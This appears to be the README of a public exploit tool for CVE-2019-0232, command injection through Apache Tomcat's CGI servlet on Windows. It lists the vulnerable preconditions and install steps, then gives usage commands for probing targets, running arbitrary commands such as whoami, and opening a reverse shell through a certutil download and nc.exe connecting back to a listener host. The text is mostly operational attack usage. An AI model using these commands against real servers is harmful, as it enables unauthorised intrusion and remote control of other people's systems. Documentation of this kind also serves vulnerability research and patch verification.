CVE-2019-0232

Description

Apache Tomcat with the CGI servlet enabled and enableCmdLineArguments=true passes query string parameters as command-line arguments to CGI scripts. On Windows, batch files (.bat/.cmd) interpret & as a command separator, allowing arbitrary command execution via a crafted URL.

Preconditions

• CGI servlet enabled in conf/web.xml or WEB-INF/web.xml
• enableCmdLineArguments=true in the CGI servlet init-params
• A CGI script (e.g. ism.bat) deployed and accessible
• Windows target (batch files are required for & injection)

Usage

git clone https://github.com/yuzuki-ayanami/CVE-2019-0232
cd CVE-2019-0232
pip install -r requirements.txt

Check if CGI endpoint exists:

python cve-2019-0232.py check -t http://target:8080
python cve-2019-0232.py check -t http://target:8080 --cgi /cgi-bin/printenv.bat

Execute a command:

python cve-2019-0232.py exec -t http://target:8080 -c whoami
python cve-2019-0232.py exec -t http://target:8080 -c 'ipconfig'

Reverse shell (2-stage certutil + nc.exe):

python cve-2019-0232.py revshell -t http://target:8080 --lhost 10.0.0.1 --lport 4444

Requirements

• Python 3.8+
• requests
• Windows target (vulnerability is OS-specific)